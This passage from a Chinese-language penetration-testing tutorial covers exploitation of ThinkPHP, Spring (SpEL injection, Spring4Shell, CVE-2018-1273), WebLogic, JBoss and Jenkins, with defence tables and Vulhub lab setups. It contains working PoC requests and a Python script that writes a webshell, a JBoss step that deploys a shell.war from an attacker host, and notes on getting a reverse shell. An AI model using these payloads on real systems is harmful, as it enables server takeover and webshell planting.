如:
bash
curl -X POST "http://target/index.php?s=index/\think\Request/input" \
-d "_method=GET&_filter[]=system&get[]=id"
8.5 防御建议
方法 | 描述 |
---|---|
升级框架到最新版本 | 官方已修复 5.0.25+ 和 5.1.31+ |
关闭自动路由 | 禁用 **URL_ROUTER_ON **自动路由功能 |
开启调试模式限制 | 设置 APP_DEBUG=false |
加白控制器与方法 | 避免反射任意类 |
使用 Web 应用防火墙(WAF) | 拦截恶意参数访问 |
8.6 工具推荐
工具 | 功能 |
---|---|
thinkphp_rce.py |
多版本风险点检测 |
fofa + ZoomEye |
搜索框架系统 |
vulhub |
本地快速搭建靶场 |
御剑 / dirsearch |
扫路径发现 thinkphp |
8.7 小结
项目 | 内容 |
---|---|
框架 | ThinkPHP(国产最广泛) |
风险点类型 | RCE、变量覆盖、路径包含 |
典型风险点 | CVE-2018-20062 / CVE-2019-9082 |
利用难度 | 低 - 中,适合新手实战 |
危害 | 任意命令执行,Webshell,提权 |
修复 | 及时更新版本 + 限制路由 + WAF |
九、Spring 框架(SpEL注入、RCE)
Spring 是最常用的 Java 企业级开发框架之一,核心模块包括:
-
Spring MVC(Web 框架)
-
Spring Boot(快速构建服务)
-
Spring Security(安全认证)
-
Spring Expression Language(SpEL 表达式)
-
BeanFactory / ApplicationContext(依赖注入)
其风险点影响极广,尤其常见于:
-
SpEL 表达式注入
-
远程代码执行(RCE)
-
任意文件写入
-
反序列化触发链
9.1 SpEL 表达式注入(Spring Expression Language)
1)什么是 SpEL?
SpEL 是 Spring 的表达式语言,例如:
java
#{1 + 1} // 输出 2
#{T(java.lang.Runtime).getRuntime().exec('calc')} // 执行命令
一旦用户输入的数据未正确过滤,被拼接到**SpEL
** 中,就会造成 表达式注入执行任意代码。
2)风险点成因场景
示例代码:
java
@RequestMapping("/test")
public String test(@RequestParam String name) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(name);
return exp.getValue().toString();
}
访问:
css
http://127.0.0.1:8080/test?name=T(java.lang.Runtime).getRuntime().exec("calc")
直接命令执行(弹出计算器)
3)利用方式
Payload | 说明 |
---|---|
T(java.lang.Runtime).getRuntime().exec("whoami") |
执行系统命令 |
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).nextLine() |
获取命令输出 |
T(org.springframework.util.StreamUtils).copy(...) |
利用反射进行更多复杂操作 |
4)修复建议
-
禁用动态 SpEL 执行
-
使用白名单表达式过滤
-
永远不要拼接用户输入到 SpEL 表达式中
-
使用 Spring Security 进行表达式校验
9.2 Spring RCE 典型风险点案例
1)Spring4Shell(CVE-2022-22965)
影响版本:
-
Spring Core <= 5.3.17 / 5.2.19
-
JDK >= 9
原理
当使用 Tomcat 作为 WAR 部署,Spring 自动绑定参数到**ClassLoader
**属性,攻击者可通过特定参数构造将 WebShell 写入服务器。
核心点 :JDK 9+ 允许访问 class.module.classLoader.resources.context.parent.pipeline.first
利用 POC:
bash
POST /demo HTTP/1.1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
然后再发:
bash
POST /demo HTTP/1.1
Content-Type: application/x-www-form-urlencoded
c2=<% out.println("Hello SpringShell"); %>
会写入**/shell.jsp
**
2)CVE-2018-1273(Spring Data Commons RCE)
影响:Spring Data Commons <= 1.13.10 / 2.0.5
bash
POST /users
Content-Type: application/x-www-form-urlencoded
name[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=1
原因:Spring 的 DataBinder
自动将参数绑定到 Bean 上,未做黑名单校验
9.3 实战复现推荐(Spring4Shell)
1)启动环境(使用 Vulhub)
bash
git clone https://github.com/vulhub/vulhub
cd vulhub/spring/spring-core-rce
docker-compose up -d
2)编写利用脚本(Python)
python
import requests
url = "http://127.0.0.1:8080/demo"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
payload1 = (
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i&"
"class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&"
"class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&"
"class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&"
"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
)
payload2 = "c2=<% out.println(\"SpringShell Pwned\"); %>"
requests.post(url, headers=headers, data=payload1)
requests.post(url, headers=headers, data=payload2)
print("访问 http://127.0.0.1:8080/shell.jsp 查看结果")
9.4 防御与修复建议
防御手段 | 描述 |
---|---|
升级 Spring Framework | 官方已在新版修复 |
使用 JDK < 9 | 避免触发条件(仅 Spring4Shell) |
禁用参数绑定 class 相关属性 | 过滤 class. , module. 等参数 |
开启 WAF | 拦截特征字段或表达式 |
安全审计代码 | 检查是否使用 SpEL 动态执行,是否使用 DataBinder 类等 |
9.5 小结
项目 | 内容 |
---|---|
框架 | Spring Core / Spring Boot / Spring MVC |
常见风险点 | SpEL 表达式注入、Spring4Shell、Binder 注入 |
危害 | 命令执行、文件写入、远程控制 |
难度 | 低 - 中 |
实战频率 | 高 |
修复 | 禁用自动绑定,升级框架,参数过滤 |
十、WebLogic/JBoss/Jenkins 等后台 getshell 案例
10.1 WebLogic Getshell 案例
1)WebLogic 简介
Oracle WebLogic 是一款 Java EE 应用服务器,广泛应用于大型企业后台,如政务网、金融、教育等。
常见攻击点:
-
XMLDecoder 反序列化
-
T3 协议远程执行
-
SSRF 转发内网
-
任意文件上传写 shell
2)典型风险点:CVE-2019-2725
风险点类型:XMLDecoder + 未授权命令执行
-
路径 :
/_async/AsyncResponseService
-
无需登录
-
可远程执行任意命令
利用 PoC(POST):
bash
POST /_async/AsyncResponseService HTTP/1.1
Host: target
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Body>
</soapenv:Envelope>
弹出计算器(命令执行成功)
3)常见风险点汇总
CVE编号 | 简述 | 影响范围 |
---|---|---|
CVE-2017-10271 | XMLDecoder RCE | WebLogic 10.3.6、12.1.3 |
CVE-2018-2894 | 任意文件上传 | /ws_utc 路径存在时 |
CVE-2020-2551 | T3 协议反序列化 | 远程命令执行 |
CVE-2020-14645 | JNDI 注入 | JDK 与 WebLogic 联动 |
4)修复建议
-
关闭 T3 协议或设置防火墙只允许内网访问
-
关闭 XMLDecoder 功能
-
升级到最新版本
-
使用 WAF 过滤 SOAP、WorkContext 等关键字段
10.2 JBoss Getshell 案例
1)JBoss 简介
JBoss 是 Red Hat 的 Java EE 应用服务器(后更名为 WildFly),历史版本管理后台默认无认证,是 Getshell 重灾区。
2)风险点:未授权部署 WebShell
风险点原理:
-
JMX 控制台部署 war 包
-
使用
MainDeployer
上传任意 .war 包(内含 shell.jsp)
风险点利用方式(无需密码)
- 访问 JMX 控制台:
bash
http://target:8080/jmx-console/
- 调用部署:
bash
MainDeployer -> deploy('http://your-ip/shell.war')
- 成功后访问:
bash
http://target:8080/shell/shell.jsp
直接 getshell
3)常见风险点
风险点 | 简述 |
---|---|
jmx-console 无认证 | 可部署 war 包 getshell |
web-console 任意部署 | 管理页面未授权风险点 |
InvokerServlet 反序列化 | 命令执行(JBossInvoker) |
4)修复建议
-
禁止公网访问 jmx-console、web-console
-
设置认证(默认未开启)
-
升级到 WildFly 新版
-
添加防火墙策略,拦截 8080、1099 端口
10.3 Jenkins Getshell 案例
1)Jenkins 简介
Jenkins 是常见的持续集成系统,Web 界面操作方便,但早期版本存在大量 RCE 和 未授权访问 风险点。
2)风险点 :CVE-2018-1000861
原理:
-
利用 Groovy 脚本执行器执行任意命令
-
默认管理员用户未加权限校验
利用流程:
- 访问 Script Console:
bash
http://target:8080/script
- 执行命令脚本:
Groovy
def proc = "whoami".execute()
println proc.text
获取当前用户
3)风险点:未授权 API 接口
部分版本可以使用 Jenkins API 直接发起命令执行:
bash
curl -X POST http://target:8080/cli -d "groovy=println 'hello'"
4)Getshell 思路
-
通过 Script Console 写入 shell.jsp 到 webroot
-
通过 Job 构建中插入恶意脚本
-
利用 SSRF + JNLP 通道实现反弹 Shell
5)修复建议
-
设置 Script Console 管理员权限
-
关闭匿名访问或开启登录认证
-
限制远程 CLI 端口和 API 使用
-
Jenkins 插件及时更新(部分插件存在 RCE)
10.4 总结对比
服务 | 风险点类型 | 危害 | 利用难度 |
---|---|---|---|
WebLogic | XMLDecoder / T3 / 文件上传 | RCE / getshell | 中等 |
JBoss | JMX 控制台无认证 / 反序列化 | 直接部署 shell.war | 低等 |
Jenkins | Script Console / 插件 RCE / API 命令执行 | RCE + 文件写入 | 中等 |
10.5 推荐实战环境搭建(Vulhub)
bash
git clone https://github.com/vulhub/vulhub
cd vulhub
# WebLogic
cd weblogic/CVE-2017-10271 && docker-compose up -d
# JBoss
cd jboss/unserialize && docker-compose up -d
# Jenkins
cd jenkins/jenkins && docker-compose up -d